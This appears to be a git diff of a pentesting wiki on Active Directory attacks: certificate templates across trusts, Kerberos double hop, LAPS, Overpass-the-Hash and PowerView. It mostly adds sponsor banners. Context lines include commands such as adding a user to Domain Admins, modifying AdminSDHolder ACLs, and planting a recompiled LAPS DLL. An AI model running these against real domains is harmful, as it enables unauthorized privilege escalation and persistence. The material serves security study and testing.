* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
@ -620,6 +624,10 @@ Upon authentication across a trust, the **Authenticated Users SID** is added to
Both scenarios lead to an **increase in the attack surface** from one forest to another. The settings of the certificate template could be exploited by an attacker to obtain additional privileges in a foreign domain.
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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9
windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md
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@ -12,6 +12,11 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Introduction
The Kerberos "Double Hop" problem appears when an attacker attempts to use **Kerberos authentication across two** **hops**, for example using **PowerShell**/**WinRM**.
@ -110,6 +115,10 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

9
windows-hardening/active-directory-methodology/laps.md
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@ -12,6 +12,11 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Basic Information
Local Administrator Password Solution (LAPS) is a tool used for managing a system where **administrator passwords**, which are **unique, randomized, and frequently changed**, are applied to domain-joined computers. These passwords are stored securely within Active Directory and are only accessible to users who have been granted permission through Access Control Lists (ACLs). The security of the password transmissions from the client to the server is ensured by the use of **Kerberos version 5** and **Advanced Encryption Standard (AES)**.
@ -134,6 +139,10 @@ Then, just compile the new `AdmPwd.PS.dll` and upload it to the machine in `C:\T
## References
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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9
windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md
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@ -12,6 +12,11 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## Overpass The Hash/Pass The Key (PTK)
The **Overpass The Hash/Pass The Key (PTK)** attack is designed for environments where the traditional NTLM protocol is restricted, and Kerberos authentication takes precedence. This attack leverages the NTLM hash or AES keys of a user to solicit Kerberos tickets, enabling unauthorized access to resources within a network.
@ -49,6 +54,10 @@ To conform to operational security and use AES256, the following command can be
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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10
windows-hardening/basic-powershell-for-pentesters/powerview.md
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@ -12,6 +12,11 @@
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
The most up-to-date version of PowerView will always be in the dev branch of PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
[**SharpView**](https://github.com/tevora-threat/SharpView) is a .NET port of [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
@ -342,6 +347,11 @@ Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=lo
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
```
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
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